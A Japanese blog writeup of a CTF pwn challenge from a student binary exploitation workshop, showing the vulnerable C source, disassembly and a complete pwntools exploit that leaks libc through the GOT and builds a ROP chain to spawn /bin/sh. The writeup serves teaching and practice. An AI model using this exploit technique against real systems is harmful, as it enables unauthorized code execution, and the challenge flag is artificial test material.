1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[pwn] can-you-get-a-shell (Binary Exploitation Workshop for Students) writeup

Last updated at Posted at 2025-12-02

※ 本Writeupでは、株式会社サイバーディフェンス研究所によるBinary Exploitation Workshop for Students内で実施されたCTFの問題を扱います。


Dockerで立ち上げられる環境が配布された。ありがたい。問題のソースコードを見る。

chal.c
#include <stdio.h>
#include <stdint.h>

extern char *gets(char *s);

__attribute__((constructor))
void init(void){
    // setbuf(stdin, NULL);
    setbuf(stdout, NULL);
}

int main(void) {
    char buf[0x18];
    uint64_t num = 0x1234;

    printf("num is %#lx.\n", num);
    gets(buf);
    printf("Now, num is %#lx.\n", num);

    return 0;
}

まずはchecksecする。NX以外は全て無効になっており、うれしい。

    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

自明なBOFが存在するので、ROPでshellを取ってflag.txtを読むことを目標とする。
しかしバイナリ単体だとコード量も少なく、ガジェットが足りない。

$ ROPgadget --binary chal --only "pop|ret"
Gadgets information
============================================================
0x000000000040115d : pop rbp ; ret
0x000000000040101a : ret
0x000000000040105a : ret 0xffff

libcのガジェットを使いたいが、ASLRが有効になっているのでleakする必要がある。printfとgetsだけで任意のアドレスを読み出す方法が必要になりそう。うーむ。

ここでobjdumpしたアセンブリを読むと、printfでrbp-8の値を出力していることが分かる。

0000000000401195 <main>:
  401195:       f3 0f 1e fa             endbr64
  401199:       55                      push   %rbp
  40119a:       48 89 e5                mov    %rsp,%rbp
  40119d:       48 83 ec 20             sub    $0x20,%rsp
  4011a1:       48 c7 45 f8 34 12 00    movq   $0x1234,-0x8(%rbp)
  4011a8:       00
  4011a9:       48 8b 45 f8             mov    -0x8(%rbp),%rax
  4011ad:       48 89 c6                mov    %rax,%rsi
  4011b0:       bf 04 20 40 00          mov    $0x402004,%edi
  4011b5:       b8 00 00 00 00          mov    $0x0,%eax
  4011ba:       e8 b1 fe ff ff          call   401070 <printf@plt>
  4011bf:       48 8d 45 e0             lea    -0x20(%rbp),%rax
  4011c3:       48 89 c7                mov    %rax,%rdi
  4011c6:       e8 b5 fe ff ff          call   401080 <gets@plt>
  4011cb:       48 8b 45 f8             mov    -0x8(%rbp),%rax
  4011cf:       48 89 c6                mov    %rax,%rsi
  4011d2:       bf 12 20 40 00          mov    $0x402012,%edi
  4011d7:       b8 00 00 00 00          mov    $0x0,%eax
  4011dc:       e8 8f fe ff ff          call   401070 <printf@plt>
  4011e1:       b8 00 00 00 00          mov    $0x0,%eax
  4011e6:       c9                      leave
  4011e7:       c3                      ret

ということで、BOFでsaved rbpを解決済のfunc@got+8に、リターンアドレスをmain+20に上書きしてあげれば関数のプロローグを実行させずにprintf直前へ飛び、そのままgotの解決先(libc領域内)を出力させることができる。
例えば、printfのgotをleakさせるにはこうすれば良い。

main_addr = elf.symbols['main']
printf_got = elf.got['printf']

payload = b'A'*0x20
payload += p64(printf_got+8)
payload += p64(main_addr+20)

conn.sendlineafter(b'0x1234.', payload)

conn.recvuntil(b'num is ') # drop 0x4141...
conn.recvuntil(b'num is ')
leak = int(conn.recvuntil(b'.', drop=True).strip(), 16)

print(f'leak: 0x{leak:012x}') # leak: 0x7c6bee6f1100

ここからprintf関数のoffsetを引けばlibcのベースアドレスが求められるので、あとはROPするだけ。
最終的なsolverはこうなる。

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

HOST, PORT = 'localhost', 30714

elf = ELF('./chal')
libc = ELF('./libc.so.6') # from docker image
conn = remote(HOST, PORT)

main_addr = elf.symbols['main']
printf_got = elf.got['printf']

payload = b'A'*0x20
payload += p64(printf_got+8)
payload += p64(main_addr+20)

conn.sendlineafter(b'0x1234.', payload)

conn.recvuntil(b'num is ') # drop 0x4141...
conn.recvuntil(b'num is ')
leak = int(conn.recvuntil(b'.', drop=True).strip(), 16)

printf_addr = libc.symbols['printf']
libc.address = leak - printf_addr

assert libc.address & 0xfff == 0
log.success(f'libc base: 0x{libc.address:012x}')

binsh_addr =  next(libc.search(b'/bin/sh'))
rop = ROP(libc, badchars=b'\x0a')
rop.execv(binsh_addr, 0)

payload = p64(rop.ret.address)*(0x28//8)
payload += bytes(rop)
conn.sendline(payload)
conn.interactive()

これでshellが取れたので、flag.txtを読む。
FLAG{R0P_c4n_g1v3_y0u_4_5h3ll}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?